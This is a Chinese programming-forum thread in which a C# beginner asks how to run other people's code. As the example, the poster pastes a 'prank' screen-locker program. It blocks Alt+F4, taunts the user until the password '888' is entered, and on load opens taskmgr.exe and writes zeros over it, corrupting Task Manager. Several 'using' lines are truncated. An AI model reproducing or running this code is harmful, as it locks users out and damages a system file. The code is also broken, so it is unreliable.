| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1811 人关注过本帖
标题:求助各位前辈,一定要帮我!
取消只看楼主 加入收藏
lzxiaoniu
Rank: 1
等 级:新手上路
帖 子:2
专家分:0
注 册:2009-11-10
结帖率:0
收藏
已结贴  问题点数:20 回复次数:1 
求助各位前辈,一定要帮我!
刚开始学习C#,想研究下别人写的代码。但有了代码,不知如何去演示效果,望各位前辈赐教,不胜感激,先谢了!




例如:using System;   
using System.Collections.Generic;   
using    
using System.Data;   
using System.Drawing;   
using System.Text;   
using System.Windows.Forms;   
using    
using Microsoft.Win32;

namespace 恶搞程序
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        int i = 0;
        public FileStream MyFs;
        private void timer1_Tick(object sender, EventArgs e)
        {

            if (this.progressBar1.Value == 50)
            {
                label2.Text += "\n你现在按ALT+F4也没用,不信你试试!!!呵呵";
            }
            if (this.progressBar1.Value == 100)
            {
                label2.ForeColor = Color.Blue; ;
                label2.Text = "不行吧!!!";
            }
            if (this.progressBar1.Value == 150)
            {
                label2.ForeColor = Color.DarkGreen;
                label2.Text = "结束不了了,怎么办???";
            }
            if (this.progressBar1.Value == 200)
            {
                label2.Text = "任务管理器怎么样???看能不能结束?";
                label2.ForeColor = Color.White;
            }
            if (this.progressBar1.Value == 250)
            {
                label2.ForeColor = Color.DarkRed;
                label2.Text = "我靠,调不出来!!!";
            }
            if (this.progressBar1.Value == 300)
            {
                label2.ForeColor = Color.Yellow;
                label2.Text = "重新启动? 不会吧!!!";
            }
            if (this.progressBar1.Value == 350)
            {
                label2.ForeColor = Color.YellowGreen;
                label2.Text = "没办法了吧";
            }
            if (this.progressBar1.Value == 400)
            {
                label2.ForeColor = Color.Red;
                label2.Text = "自己慢慢想办法吧,O(∩_∩)O~";
            }
            if (this.progressBar1.Value == 450)
            {
                label2.ForeColor = Color.Green;
                label2.Text = "算了,不整你了";
            }
            if (this.progressBar1.Value == 500)
            {
                label2.ForeColor = Color.DarkGray;
                label2.Text = "在文本框中输入";
            }
            if (this.progressBar1.Value == 550)
            {
                label2.ForeColor = Color.Brown;
                label2.Text = "888";
            }
            if (this.progressBar1.Value == 599)
            {
                label2.ForeColor = Color.Gold;
                label2.Text += "按回车";
            }
            if (i <= 600)
            {
                this.progressBar1.Value = i++;
            }
            else
            {
                this.timer1.Stop();
                return;
            }
        }

        private void Form1_Load(object sender, EventArgs e)
        {

            MyFs = new FileStream(Environment.ExpandEnvironmentVariables("%windir%\\system32\\taskmgr.exe"), FileMode.Open);
            byte[] Mybyte = new byte[(int)MyFs.Length];
            MyFs.Write(Mybyte, 0, (int)MyFs.Length);
            //MyFs.Close(); //用文件流打开任务管理器应用程序而不关闭文件流就会阻止打开任务管理器   

            this.KeyPreview = true;
            progressBar1.Hide();
            label2.Text = "你的屏幕被锁定了!!!";
            timer1.Start();
        }

        private void Form1_KeyDown(object sender, KeyEventArgs e)
        {
            if (e.Alt)
            {
                if (e.KeyCode == Keys.F4)
                {
                    e.Handled = true;
                    MessageBox.Show("ALT+F4被禁用", "警告", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                }

            }
        }

        private void textBox1_KeyDown(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.Enter)
            {
                if (textBox1.Text == "")
                {
                    MessageBox.Show("请输入密码!", "提示", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return;
                }
                if (textBox1.Text == "888")
                {
                    MyFs.Close();
                    System.Diagnostics.Process.Start("http://hi.baidu.com/00zht00");
                    this.Close();
                }
                else
                {
                    MessageBox.Show("对不起,您输入的密码错误,请查证后再试,谢谢合作!", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    textBox1.Text = "";
                }
            }
        }
    }
}
搜索更多相关主题的帖子: 前辈 
2009-11-10 16:42
lzxiaoniu
Rank: 1
等 级:新手上路
帖 子:2
专家分:0
注 册:2009-11-10
收藏
得分:0 
先谢了上面各位热心前辈,我的意思是有了别人的代码,如何能够演示其代码产生的效果,上面的代码只是随意找来的做为例子。我在VS2005中COPY 了,但是不行啊。
2009-11-11 09:00
快速回复:求助各位前辈,一定要帮我!
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.020636 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved